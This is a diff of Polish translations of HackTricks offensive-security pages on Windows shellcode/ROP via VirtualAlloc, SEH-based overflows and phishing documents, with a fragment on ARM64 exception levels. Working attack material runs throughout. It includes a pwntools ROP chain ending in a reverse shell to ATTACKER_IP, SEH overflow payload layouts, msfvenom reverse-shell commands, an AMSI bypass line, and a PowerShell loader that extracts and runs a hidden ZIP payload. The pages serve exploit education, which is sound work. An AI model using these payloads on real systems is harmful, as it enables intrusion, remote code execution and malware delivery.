+- RCX = lpAddress → wybierz adres w bieżącym stosie (np. RSP), tak aby nowo zaalokowany region RWX pokrywał się z twoim payload
 - RDX = dwSize → wystarczająco duży dla twojego chain + shellcode (np. 0x1000)
 - R8  = flAllocationType = MEM_COMMIT (0x1000)
 - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
 - Return directly into the shellcode placed right after the chain.
 
-Minimal strategy:
-1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
-2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
-3) Place stage-2 shellcode immediately after the chain.
+Minimalna strategia:
+1) Leak a module base (np. via format-string, object pointer, itp.) aby obliczyć absolutne adresy gadgets i IAT przy ASLR.
+2) Znajdź gadgets do załadowania RCX/RDX/R8/R9 (pop lub sekwencje oparte na mov/xor) oraz call/jmp [VirtualAlloc@IAT]. Jeśli nie masz bezpośrednich pop r8/r9, użyj arithmetic gadgets do syntezy stałych (np. ustaw r8=0 i wielokrotnie dodaj r9=0x40 czterdzieści razy, aby osiągnąć 0x1000).
+3) Umieść stage-2 shellcode bezpośrednio po chainie.
 
-Przykładowy układ (koncepcyjny):
+Przykładowy układ (konceptualny):
 ```
 # ... padding up to saved RIP ...
 # R9 = 0x40 (PAGE_EXECUTE_READWRITE)
@@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
 JMP_SHELLCODE_OR_RET
 # ---- stage-2 shellcode (x64) ----
 ```
-Przy ograniczonym zestawie gadgets możesz pośrednio ustawić wartości rejestrów, na przykład:
-- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ustawia r9 z rbx, zeruje r8 i kompensuje stos za pomocą śmieciowego qword.
-- xor rbx, rsp; ret → załadowuje rbx wartością aktualnego wskaźnika stosu.
+Przy ograniczonym zestawie gadgets możesz pośrednio skonstruować wartości rejestrów, na przykład:
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ustawia r9 z rbx, zeruje r8 i kompensuje stos nieistotnym qwordem.
+- xor rbx, rsp; ret → ustawia rbx na aktualny wskaźnik stosu.
 - push rbx; pop rax; mov rcx, rax; ret → przenosi wartość pochodzącą z RSP do RCX.
 
-Szkic Pwntools (zakładając znane base i gadgets):
+Pwntools sketch (given a known base and gadgets):
 ```python
 from pwn import *
 base = 0x7ff6693b0000
@@ -132,30 +132,30 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000)
 rop += p64(IAT_VirtualAlloc)
 rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 ```
-Wskazówki:
-- VirtualProtect działa podobnie, jeśli wolisz nadać istniejącemu buforowi prawa RX; kolejność parametrów jest inna.
-- Jeśli miejsce na stosie jest ograniczone, zaalokuj RWX gdzie indziej (RCX=NULL) i jmp do tego nowego obszaru zamiast ponownie używać stosu.
-- Zawsze uwzględniaj gadgets, które modyfikują RSP (np. add rsp, 8; ret) przez wstawienie śmieciowych qwords.
+Tips:
+- VirtualProtect działa podobnie, jeśli wolisz ustawić istniejący bufor jako RX; kolejność parametrów jest inna.
+- Jeśli przestrzeń stack jest ograniczona, przydziel RWX gdzie indziej (RCX=NULL) i jmp do tego nowego regionu zamiast ponownego użycia stack.
+- Zawsze uwzględniaj gadgets, które modyfikują RSP (np. add rsp, 8; ret), wstawiając junk qwords.
 
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinien być wyłączony**, aby adres był wiarygodny między uruchomieniami — w przeciwnym razie adres, pod którym funkcja zostanie umieszczona, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś leak, aby ustalić, gdzie załadowana jest funkcja win.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **powinny być również wyłączone**, inaczej skompromitowany adres powrotu EIP nigdy nie zostanie osiągnięty.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection zapobiegnie wykonaniu shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinien być wyłączony**, aby adres był wiarygodny między uruchomieniami, inaczej adres, pod którym funkcja zostanie załadowana, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś leak, żeby ustalić, gdzie jest załadowana funkcja win.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) powinny być również wyłączone, inaczej skompromitowany adres powrotu EIP nie zostanie wykonany.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ochrona uniemożliwi wykonanie shellcode wewnątrz stack, ponieważ ten region nie będzie wykonywalny.
 
-## Inne przykłady i odniesienia
+## Inne przykłady i odnośniki
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64-bit, ASLR with stack address leak, zapisz shellcode i skocz do niego
+- 64bit, ASLR with stack address leak, write shellcode and jump to it
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32-bit, ASLR with stack leak, zapisz shellcode i skocz do niego
+- 32 bit, ASLR with stack leak, write shellcode and jump to it
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32-bit, ASLR with stack leak, porównanie zapobiegające wywołaniu exit(), nadpisz zmienną wartością, zapisz shellcode i skocz do niego
+- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, brak ASLR, ROP gadget, aby uczynić stos wykonywalnym i skoczyć do shellcode na stosie
+- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
 
 
-## Odniesienia
+## References
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

src/binary-exploitation/stack-overflow/windows-seh-overflow.md

@@ -2,24 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SEH-based exploitation to klasyczna technika x86 na Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy overflow bufora na stosie nadpisze dwa 4-bajtowe pola
+SEH-based exploitation jest klasyczną techniką dla x86 Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy przepełnienie bufora na stosie nadpisze dwa 4-bajtowe pola
 
-- nSEH: pointer to the next SEH record, and
-- SEH: pointer to the exception handler function
+- nSEH: wskaźnik do następnego rekordu SEH, oraz
+- SEH: wskaźnik do funkcji obsługi wyjątków
 
 atakujący może przejąć kontrolę nad wykonaniem poprzez:
 
-1) Ustawienie SEH na adres POP POP RET gadget w module bez ochrony, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz
-2) Użycie nSEH do przekierowania wykonania (zazwyczaj krótki skok) z powrotem do dużego przepełniającego bufora, gdzie znajduje się shellcode.
+1) Ustawienie SEH na adres gadgetu POP POP RET w module bez zabezpieczeń, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz
+2) Użycie nSEH do przekierowania wykonania (zwykle krótkiego skoku) z powrotem do dużego przepełnionego bufora, w którym znajduje się shellcode.
 
-Ta technika dotyczy specyficznie procesów 32-bitowych (x86). Na nowoczesnych systemach preferuj moduł bez SafeSEH i ASLR dla gadgetu. Bad characters często obejmują 0x00, 0x0a, 0x0d (NUL/CR/LF) z powodu C-strings i parsowania HTTP.
+This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing.
 
 ---
 
 ## Finding exact offsets (nSEH / SEH)
 
-- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
-- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
+- Spowoduj awarię procesu i zweryfikuj, że łańcuch SEH został nadpisany (np. w x32dbg/x64dbg sprawdź widok SEH).
+- Wyślij cykliczny wzorzec jako dane przepełniające i oblicz offsety dwóch dwordów, które trafiają do nSEH i SEH.
 
 Example with peda/GEF/pwntools on a 1000-byte POST body:
 ```bash
@@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
 # ➜ offsets example: nSEH=660, SEH=664
 ```
-Zweryfikuj, umieszczając markery w tych pozycjach (np., nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość, aby awaria była powtarzalna.
+Zwaliduj, umieszczając markery w tych pozycjach (np. nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość niezmienioną, aby umożliwić odtworzenie awarii.
 
 ---
 
 ## Wybór POP POP RET (SEH gadget)
 
-Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do swoich bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR:
+Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR:
 
 - Mona (Immunity/WinDbg): `!mona modules` następnie `!mona seh -m modulename`.
 - x64dbg plugin ERC.Xdbg: `ERC --SEH` aby wypisać POP POP RET gadgets i status SafeSEH.
 
-Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np., `p32(0x004094D8)`). Preferuj gadgets wewnątrz podatnego pliku binarnego, jeśli zabezpieczenia to umożliwiają.
+Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np. `p32(0x004094D8)`). Preferuj gadgety wewnątrz podatnej binarki, jeśli zabezpieczenia na to pozwalają.
 
 ---
 
-## Technika jump-back (short + near jmp)
+## Technika skoku wstecz (short + near jmp)
 
-nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (`EB xx`) plus padding. Jeśli musisz przeskoczyć wstecz setki bajtów, aby dotrzeć do początku bufora, użyj 5-bajtowego near jump umieszczonego bezpośrednio przed nSEH i połącz go short jumpem z nSEH.
+nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (`EB xx`) plus padding. Jeśli musisz skoczyć wstecz o setki bajtów, by dostać się do początku bufora, użyj 5-bajtowego near jump umieszczonego tuż przed nSEH i połącz go łańcuchem krótkim skokiem z nSEH.
 
 Za pomocą nasmshell:
 ```text
@@ -61,7 +61,7 @@ EBF6
 nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
 E96FFDFFFF
 ```
-Pomysł układu dla payloadu o rozmiarze 1000 bajtów z nSEH na offset 660:
+Pomysł układu dla 1000-byte payload z nSEH na offset 660:
 ```python
 buffer_length = 1000
 payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
@@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pa
 payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
 payload += b"D" * (buffer_length - len(payload))
 ```
-Execution flow:
+Przebieg wykonania:
 - Występuje wyjątek, dispatcher używa nadpisanego SEH.
-- POP POP RET powoduje przejście do naszego nSEH.
-- nSEH wykonuje `jmp short -8` do 5-bajtowego near jump.
+- POP POP RET rozwija stos do naszego nSEH.
+- nSEH wykonuje `jmp short -8`, trafiając do 5-byte near jump.
 - Near jump ląduje na początku naszego bufora, gdzie znajduje się NOP sled + shellcode.
 
 ---
 
-## Bad characters
+## Złe znaki
 
-Utwórz pełny badchar string i porównaj pamięć stosu po awarii, usuwając bajty, które są zniekształcane przez parser docelowy. Dla przepełnień opartych na HTTP, `\x00\x0a\x0d` są prawie zawsze wykluczone.
+Zbuduj pełny badchar string i porównaj stack memory po crashu, usuwając bajty, które są mangled przez target parser. Dla HTTP-based overflows `\x00\x0a\x0d` są niemal zawsze wykluczone.
 ```python
 badchars = bytes([x for x in range(1,256)])
 payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case
@@ -90,12 +90,12 @@ payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for
 
 ## Shellcode generation (x86)
 
-Użyj msfvenom z własnymi badchars. Mały NOP sled pomaga tolerować odchylenia miejsca trafienia.
+Użyj msfvenom z twoimi badchars. Mały NOP sled pomaga tolerować zmienność punktu lądowania.
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f python -v sc
 ```
-Jeśli generujesz na bieżąco, format hex jest wygodny do osadzania i unhex w Pythonie:
+Jeśli generujesz w locie, format hex jest wygodny do osadzenia i unhex w Pythonie:
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f hex
@@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LP
 
 ## Dostarczanie przez HTTP (dokładne CRLF + Content-Length)
 
-Gdy wektorem podatności jest ciało żądania HTTP, skonstruuj surowe żądanie z dokładnymi CRLFs i Content-Length, aby serwer odczytał całe przepełniające się ciało żądania.
+Jeżeli wektorem podatności jest ciało żądania HTTP, przygotuj surowe żądanie z dokładnymi CRLF i Content-Length, aby serwer odczytał całe przepełniające się ciało.
 ```python
 # pip install pwntools
 from pwn import remote
@@ -137,11 +137,11 @@ p.close()
 
 ## Uwagi i zastrzeżenia
 
-- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i eksploatacja oparta na SEH na ogół nie jest wykonalna.
-- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany w procesie.
-- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iteracyjne tworzenie exploitów.
+- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i SEH-based exploitation zazwyczaj nie jest wykonalna.
+- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany do procesu.
+- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iterative exploit development.
 
-## Referencje
+## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
 - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -1,20 +1,20 @@
-# Pliki i dokumenty phishingowe
+# Phishing Pliki i Dokumenty
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Dokumenty Microsoft Office
+## Dokumenty Office
 
-Microsoft Word przeprowadza walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w postaci identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
+Microsoft Word wykonuje walidację danych pliku przed otwarciem go. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
 
-Zwykle pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i nadal zachować zdolność wykonywania makr.\
-Na przykład plik RTF domyślnie nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonania makr.\
+Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku przez zmianę rozszerzenia i nadal zachować możliwość wykonywania makr.\
+Na przykład plik RTF z założenia nie obsługuje makr, ale plik DOCM przemianowany na RTF będzie obsługiwany przez Microsoft Word i będzie zdolny do wykonania makr.\
 Te same wewnętrzne mechanizmy dotyczą całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
 
-Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office:
+Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą uruchamiane przez niektóre programy Office:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
+Pliki DOCX odwołujące się do zdalnego szablonu (File –Options –Add-ins –Manage: Templates –Go) który zawiera macros mogą również „wykonywać” macros.
 
 ### Ładowanie zewnętrznego obrazu
 
@@ -25,9 +25,9 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
 
 ### Macros Backdoor
 
-Można użyć macros, aby uruchomić dowolny kod z dokumentu.
+Możliwe jest użycie macros do uruchomienia dowolnego kodu z poziomu dokumentu.
 
-#### Autoload functions
+#### Funkcje autoload
 
 Im bardziej są powszechne, tym bardziej prawdopodobne, że AV je wykryje.
 
@@ -68,12 +68,12 @@ proc.Create "powershell <beacon line generated>
 
 Przejdź do **File > Info > Inspect Document > Inspect Document**, co otworzy Document Inspector. Kliknij **Inspect**, a następnie **Remove All** obok **Document Properties and Personal Information**.
 
-#### Rozszerzenie pliku
+#### Rozszerzenie dokumentu
 
-When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
-Zrób to ponieważ **nie można zapisać makr w `.docx`** i istnieje **stigma** związane z rozszerzeniem obsługującym makra **`.docm`** (np. ikona miniatury ma ogromny `!` i niektóre bramy sieciowe/emailowe blokują je całkowicie). Dlatego to **legacy `.doc` rozszerzenie jest najlepszym kompromisem**.
+Po zakończeniu wybierz rozwijane menu **Save as type**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
+Zrób tak, ponieważ **nie można zapisać makr w `.docx`** i wokół rozszerzenia obsługującego makra **`.docm`** istnieje **pewna stygma** (np. ikona miniatury ma ogromne `!` i niektóre bramy web/email całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**.
 
-#### Generatory złośliwych makr
+#### Generatorzy złośliwych makr
 
 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
@@ -81,9 +81,9 @@ Zrób to ponieważ **nie można zapisać makr w `.docx`** i istnieje **stigma**
 
 ## Pliki HTA
 
-HTA to program na Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i uruchamia się jako aplikacja "w pełni zaufana", bez ograniczeń wynikających z modelu bezpieczeństwa przeglądarki.
+HTA to program dla **Windows**, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i wykonuje się jako aplikacja "w pełni zaufana", bez ograniczeń modelu bezpieczeństwa przeglądarki.
 
-HTA uruchamiany jest przy użyciu **`mshta.exe`**, który zazwyczaj jest **zainstalowany** razem z **Internet Explorer**, co sprawia, że **`mshta` dependant on IE**. Jeśli więc został odinstalowany, HTA nie będą mogły się uruchomić.
+HTA jest uruchamiana za pomocą **`mshta.exe`**, które jest zazwyczaj instalowane razem z **Internet Explorer**, co powoduje, że **`mshta` jest zależne od IE**. Jeśli więc Internet Explorer został odinstalowany, HTA nie będą mogły się uruchomić.
 ```html
 <--! Basic HTA Execution -->
 <html>
@@ -140,9 +140,9 @@ self.close
 ```
 ## Wymuszanie uwierzytelniania NTLM
 
-Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, do których użytkownik uzyska dostęp (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.**
+Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do emaili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.**
 
-**Sprawdź te pomysły i więcej na poniższych stronach:**
+**Sprawdź te pomysły i więcej na następujących stronach:**
 
 
 {{#ref}}
@@ -156,24 +156,24 @@ Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na p
 
 ### NTLM Relay
 
-Pamiętaj, że możesz nie tylko ukraść hasha lub dane uwierzytelniające, lecz także **przeprowadzić NTLM relay attacks**:
+Nie zapomnij, że nie chodzi tylko o kradzież hasha czy uwierzytelnienia, lecz także o możliwość **przeprowadzenia NTLM relay attacks**:
 
 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 
-Wysoce skuteczne kampanie dostarczają ZIP zawierający dwa legalne, mylące dokumenty (PDF/DOCX) i złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty loader PowerShell jest przechowywany wewnątrz surowych bajtów ZIP po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci.
+Bardzo skuteczne kampanie dostarczają ZIP, który zawiera dwa legalne dokumenty-przynęty (PDF/DOCX) oraz złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty PowerShell loader jest przechowany w surowych bajtach ZIP-a po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci.
 
-Typowy przepływ zaimplementowany przez .lnk z jednowierszowym PowerShellem:
+Typowy przebieg realizowany przez .lnk PowerShell one-liner:
 
-1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
-2) Odczytaj bajty ZIP i znajdź hardcodowany marker (np. xFIQCV). Wszystko po markerze to osadzona PowerShell payload.
-3) Skopiuj ZIP do %ProgramData%, wypakuj tam i otwórz mylący .docx, aby wyglądało to na legalne.
-4) Bypass AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
+1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
+2) Odczytaj bajty ZIP-a i znajdź na stałe wpisany marker (np. xFIQCV). Wszystko po markerze to osadzony PowerShell payload.
+3) Skopiuj ZIP do %ProgramData%, rozpakuj tam i otwórz przynętę .docx, aby wyglądało to legalnie.
+4) Obejście AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
 5) Deobfuskacja następnego etapu (np. usunięcie wszystkich znaków #) i wykonanie go w pamięci.
 
-Example PowerShell skeleton to carve and run the embedded stage:
+Przykładowy szkielet PowerShell do wyodrębnienia i uruchomienia osadzonego etapu:
 ```powershell
 $marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 $paths    = @(
@@ -191,20 +191,20 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Notatki
-- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwując nieszkodliwe ZIPy w zależności od IP/UA).
-- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go za pomocą Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
+- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwować nieszkodliwe ZIPs w zależności od IP/UA).
+- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go przy użyciu Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
 
 Persistence used in the same chain
-- COM TypeLib hijacking kontrolki Microsoft Web Browser, tak że IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamia payload. Szczegóły i gotowe do użycia polecenia tutaj:
+- COM TypeLib hijacking of the Microsoft Web Browser control tak, aby IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamiała payload. Zobacz szczegóły i gotowe polecenia tutaj:
 
 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}
 
-Wykrywanie/IOCs
-- Pliki ZIP zawierające dopisany do danych archiwum ASCII marker (np. xFIQCV).
-- .lnk, który przeszukuje foldery nadrzędne/użytkownika, aby znaleźć ZIP i otworzyć dokument przynętowy.
-- Modyfikacja AMSI za pomocą [System.Management.Automation.AmsiUtils]::amsiInitFailed.
+Hunting/IOCs
+- ZIP files zawierające ASCII marker string (np. xFIQCV) dopisany do danych archiwum.
+- .lnk, który enumeruje foldery nadrzędne/użytkownika, aby zlokalizować ZIP i otworzyć dokument przynętowy.
+- Manipulacja AMSI przez [System.Management.Automation.AmsiUtils]::amsiInitFailed.
 - Długotrwałe wątki biznesowe kończące się linkami hostowanymi pod zaufanymi domenami PaaS.
 
 ## Referencje

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -2,203 +2,206 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Poziomy Wyjątków - EL (ARM64v8)**
+## **Poziomy wyjątków - EL (ARM64v8)**
 
-W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), definiują poziom uprawnień i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy ma inny cel:
+W architekturze ARMv8 poziomy wykonania, znane jako Exception Levels (EL), określają poziom przywilejów i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy pełni inną rolę:
 
-1. **EL0 - Tryb Użytkownika**:
-- Jest to poziom o najmniejszych uprawnieniach i służy do wykonywania zwykłego kodu aplikacji.
-- Aplikacje działające na poziomie EL0 są od siebie izolowane oraz od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
-2. **EL1 - Tryb Jądra Systemu Operacyjnego**:
+1. **EL0 - tryb użytkownika**:
+- To najmniej uprzywilejowany poziom, używany do wykonywania zwykłego kodu aplikacji.
+- Aplikacje działające w EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
+2. **EL1 - tryb jądra systemu operacyjnego**:
 - Większość jąder systemów operacyjnych działa na tym poziomie.
-- EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
-3. **EL2 - Tryb Hypervisora**:
-- Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym.
-- EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk.
-4. **EL3 - Tryb Monitorowania Bezpieczeństwa**:
-- Jest to poziom o najwyższych uprawnieniach i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
-- EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny itp.).
+- EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami w celu zachowania integralności systemu.
+3. **EL2 - tryb hypervisora**:
+- Ten poziom jest używany do wirtualizacji. Hypervisor działający w EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim EL1) działającymi na tym samym fizycznym sprzęcie.
+- EL2 dostarcza funkcje izolacji i kontroli środowisk wirtualizowanych.
+4. **EL3 - tryb Secure Monitor**:
+- To najbardziej uprzywilejowany poziom, często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonywania.
+- EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (np. secure boot, trusted OS itp.).
 
-Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzania różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprawnień pomaga w skutecznym izolowaniu różnych komponentów systemu, co zwiększa bezpieczeństwo i odporność systemu.
